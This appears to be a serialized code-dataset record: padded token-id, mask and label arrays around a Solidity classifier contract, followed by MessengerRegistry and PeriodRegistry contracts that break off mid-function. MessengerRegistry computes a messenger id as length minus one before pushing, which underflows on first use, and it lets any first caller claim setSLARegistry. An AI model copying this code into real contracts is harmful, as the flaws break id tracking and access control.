-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.5.0;
pragma experimental ABIEncoderV2;
import "../libs/SafeMath.sol";
import {Ownable} from "../ownership/Ownable.sol";
/**
* A classifier that can take a data sample as input and return a predict classification/label for the data.
*/
contract Classifier {
/**
* The indices to the possible classifications that can be predicted.
*/
string[] public classifications;
/**
* Initialize a classifier.
* @param _classifications The possible classifications that can be predicted.
*/
constructor(string[] memory _classifications) public {
classifications = _classifications;
}
/**
* @return The number of possible classifications that can be predicted.
*/
function getNumClassifications() public view returns (uint) {
return classifications.length;
}
}
/**
* A `Classifier` for data with 64-bit values.
*/
// Use an abstract contract instead of an interface so that we can enforce internal functions
// and not be forced to have some external.
contract Classifier64 is Ownable, Classifier {
// Number decimal places precision.
uint64 constant public toFloat = 1E9;
constructor(string[] memory _classifications)
Ownable()
Classifier(_classifications)
internal {
// solium-disable-previous-line no-empty-blocks
}
/**
* @param data A single sample.
* @return The normalization scalar for `data`.
*/
function norm(int64[] memory data) public pure returns (uint);
/**
* @param data A single sample.
* @return The predicted classification/label for `data`.
*/
function predict(int64[] memory data) public view returns (uint64);
/**
* Train the classifier with one data sample.
*
* @param data The training data or features.
* @param classification The label for `data`.
*/
function update(int64[] memory data, uint64 classification) public;
}
|
* The indices to the possible classifications that can be predicted./* Initialize a classifier. @param _classifications The possible classifications that can be predicted./
|
constructor(string[] memory _classifications) public {
classifications = _classifications;
}
| 2,561,127 |
[
1,
4625,
348,
7953,
560,
30,
380,
1021,
4295,
358,
326,
3323,
667,
6640,
716,
848,
506,
15071,
18,
20308,
9190,
279,
14622,
18,
632,
891,
389,
1106,
6640,
1021,
3323,
667,
6640,
716,
848,
506,
15071,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
3885,
12,
1080,
8526,
3778,
389,
1106,
6640,
13,
1071,
288,
203,
3639,
667,
6640,
273,
389,
1106,
6640,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "./messenger/IMessenger.sol";
/**
* @title MessengerRegistry
* @dev MessengerRegistry is a contract to register openly distributed Messengers
*/
contract MessengerRegistry {
struct Messenger {
address ownerAddress;
address messengerAddress;
string specificationUrl;
uint256 precision;
uint256 requestsCounter;
uint256 fulfillsCounter;
uint256 id;
}
/// @dev array to store the messengers
Messenger[] public messengers;
/// @dev (messengerAddress=>bool) to check if the Messenger was
mapping(address => bool) public registeredMessengers;
/// @dev (userAddress=>messengerAddress[]) to register the messengers of an owner
mapping(address => uint256[]) public ownerMessengers;
/// @dev (userAddress=>messengerAddress[]) to register the owner of a Messenger
address public slaRegistry;
event MessengerRegistered(
address indexed ownerAddress,
address indexed messengerAddress,
string specificationUrl,
uint256 precision,
uint256 id
);
event MessengerModified(
address indexed ownerAddress,
address indexed messengerAddress,
string specificationUrl,
uint256 precision,
uint256 id
);
/**
* @dev sets the SLARegistry contract address and can only be called
* once
*/
function setSLARegistry() external {
// Only able to trigger this function once
require(
address(slaRegistry) == address(0),
"SLARegistry address has already been set"
);
slaRegistry = msg.sender;
}
/**
* @dev function to register a new Messenger
*/
function registerMessenger(
address _callerAddress,
address _messengerAddress,
string calldata _specificationUrl
) external {
require(
msg.sender == slaRegistry,
"Should only be called using the SLARegistry contract"
);
require(
!registeredMessengers[_messengerAddress],
"messenger already registered"
);
IMessenger messenger = IMessenger(_messengerAddress);
address messengerOwner = messenger.owner();
require(
messengerOwner == _callerAddress,
"Should only be called by the messenger owner"
);
uint256 precision = messenger.messengerPrecision();
uint256 requestsCounter = messenger.requestsCounter();
uint256 fulfillsCounter = messenger.fulfillsCounter();
registeredMessengers[_messengerAddress] = true;
uint256 id = messengers.length - 1;
ownerMessengers[messengerOwner].push(id);
messengers.push(
Messenger({
ownerAddress: messengerOwner,
messengerAddress: _messengerAddress,
specificationUrl: _specificationUrl,
precision: precision,
requestsCounter: requestsCounter,
fulfillsCounter: fulfillsCounter,
id: id
})
);
emit MessengerRegistered(
messengerOwner,
_messengerAddress,
_specificationUrl,
precision,
id
);
}
/**
* @dev function to modifyMessenger a Messenger
*/
function modifyMessenger(
string calldata _specificationUrl,
uint256 _messengerId
) external {
Messenger storage storedMessenger = messengers[_messengerId];
IMessenger messenger = IMessenger(storedMessenger.messengerAddress);
require(
msg.sender == messenger.owner(),
"Can only be modified by the owner"
);
storedMessenger.specificationUrl = _specificationUrl;
storedMessenger.ownerAddress = msg.sender;
emit MessengerModified(
storedMessenger.ownerAddress,
storedMessenger.messengerAddress,
storedMessenger.specificationUrl,
storedMessenger.precision,
storedMessenger.id
);
}
function getMessengers() external view returns (Messenger[] memory) {
Messenger[] memory returnMessengers =
new Messenger[](messengers.length);
for (uint256 index = 0; index < messengers.length; index++) {
IMessenger messenger =
IMessenger(messengers[index].messengerAddress);
uint256 requestsCounter = messenger.requestsCounter();
uint256 fulfillsCounter = messenger.fulfillsCounter();
returnMessengers[index] = Messenger({
ownerAddress: messengers[index].ownerAddress,
messengerAddress: messengers[index].messengerAddress,
specificationUrl: messengers[index].specificationUrl,
precision: messengers[index].precision,
requestsCounter: requestsCounter,
fulfillsCounter: fulfillsCounter,
id: messengers[index].id
});
}
return returnMessengers;
}
function getMessengersLength() external view returns (uint256) {
return messengers.length;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
* @title SLARegistry
* @dev SLARegistry is a contract for handling creation of service level
* agreements and keeping track of the created agreements
*/
contract PeriodRegistry is Ownable {
using SafeMath for uint256;
enum PeriodType {Hourly, Daily, Weekly, BiWeekly, Monthly, Yearly}
/// @dev struct to store the definition of a period
struct PeriodDefinition {
bool initialized;
uint256[] starts;
uint256[] ends;
}
/// @dev (periodType=>PeriodDefinition) hourly/weekly/biWeekly/monthly/yearly are periodTypes
mapping(PeriodType => PeriodDefinition) public periodDefinitions;
/**
* @dev event to log a new period initialized
*@param periodType 1. period type i.e. Hourly, Daily, Weekly, BiWeekly, Monthly, Yearly
*@param periodsAdded 2. amount of periods added
*/
event PeriodInitialized(PeriodType periodType, uint256 periodsAdded);
/**
* @dev event to log a new period initialized
*@param periodType 1. period type i.e. Hourly, Daily, Weekly, BiWeekly, Monthly, Yearly
*@param periodsAdded 2. amount of periods added
*/
event PeriodModified(PeriodType periodType, uint256 periodsAdded);
/**
* @dev public function for creating canonical service level agreements
*@param _periodType 1. period type i.e. Hourly, Daily, Weekly, BiWeekly, Monthly, Yearly
*@param _periodStarts 2. array of the starts of the period
*@param _periodEnds 3. array of the ends of the period
*/
function initializePeriod(
PeriodType _periodType,
uint256[] memory _periodStarts,
uint256[] memory _periodEnds
) public onlyOwner {
PeriodDefinition storage periodDefinition =
periodDefinitions[_periodType];
require(
!periodDefinition.initialized,
"Period type already initialized"
);
require(
_periodStarts.length == _periodEnds.length,
"Period type starts and ends should match"
);
require(_periodStarts.length > 0, "Period length can't be 0");
for (uint256 index = 0; index < _periodStarts.length; index++) {
require(
_periodStarts[index] < _periodEnds[index],
"Start should be before end"
);
if (index < _periodStarts.length - 1) {
require(
_periodStarts[index + 1].sub(_periodEnds[index]) == 1,
"Start of a period should be 1 second after the end of the previous period"
);
}
periodDefinition.starts.push(_periodStarts[index]);
periodDefinition.ends.push(_periodEnds[index]);
}
periodDefinition.initialized = true;
emit PeriodInitialized(_periodType, _periodStarts.length);
}
/**
* @dev function to add new periods to certain period type
*@param _periodType 1. period type i.e. Hourly, Daily, Weekly, BiWeekly, Monthly, Yearly
*@param _periodStarts 2. array of uint256 of the period starts to add
*@param _periodEnds 3. array of uint256 of the period starts to add
*/
function addPeriodsToPeriodType(
PeriodType _periodType,
uint256[] memory _periodStarts,
uint256[] memory _periodEnds
) public onlyOwner {
require(_periodStarts.length > 0, "Period length can't be 0");
PeriodDefinition storage periodDefinition =
periodDefinitions[_periodType];
require(periodDefinition.initialized, "Period was not initialized yet");
for (uint256 index = 0; index < _periodStarts.length; index++) {
require(
_periodStarts[index] < _periodEnds[index],
"Start should be before end"
);
if (index < _periodStarts.length.sub(1)) {
require(
_periodStarts[index + 1].sub(_periodEnds[index]) == 1,
"Start of a period should be 1 second after the end of the previous period"
);
}
periodDefinition.starts.push(_periodStarts[index]);
periodDefinition.ends.push(_periodEnds[index]);
}
emit PeriodModified(_periodType, _periodStarts.length);
}
/**
* @dev public function to get the start and end of a period
*@param _periodType 1. period type i.e. Hourly, Daily, Weekly, BiWeekly, Monthly, Yearly
*@param _periodId 2. period id to get start and end
*/
function getPeriodStartAndEnd(PeriodType _periodType, uint256 _periodId)
public
view
returns (uint256 start, uint256 end)
{
start = periodDefinitions[_periodType].starts[_periodId];
end = periodDefinitions[_periodType].ends[_periodId];
}
/**
* @dev public function to check if a periodType id is initialized
*@param _periodType 1. period type i.e. Hourly, Daily, Weekly, BiWeekly, Monthly, Yearly
*/
function isInitializedPeriod(PeriodType _periodType)
public
view
returns (bool initialized)
{
PeriodDefinition memory periodDefinition =
periodDefinitions[_periodType];
initialized = periodDefinition.initialized;
}
/**
* @dev public function to check if a period id is valid i.e. it belongs to the added id array
*@param _periodType 1. period type i.e. Hourly, Daily, Weekly, BiWeekly, Monthly, Yearly
*@param _periodId 2. period id to get start and end
*/
function isValidPeriod(PeriodType _periodType, uint256 _periodId)
public
view
returns (bool valid)
{
PeriodDefinition memory periodDefinition =
periodDefinitions[_periodType];
valid = periodDefinition.starts.length.sub(1) >= _periodId;
}
/**
* @dev public function to check if a period has finished
*@param _periodType 1. period type i.e. Hourly, Daily, Weekly, BiWeekly, Monthly, Yearly
*@param _periodId 2. period id to get start and end
*/
function periodIsFinished(PeriodType _periodType, uint256 _periodId)
public
view
returns (bool finished)
{
require(
isValidPeriod(_periodType, _periodId),
"Period data is not valid"
);
finished =
periodDefinitions[_periodType].ends[_periodId] < block.timestamp;
}
/**
* @dev public function to check if a period has started
*@param _periodType 1. period type i.e. Hourly, Daily, Weekly, BiWeekly, Monthly, Yearly
*@param _periodId 2. period id to get start and end
*/
function periodHasStarted(PeriodType _periodType, uint256 _periodId)
public
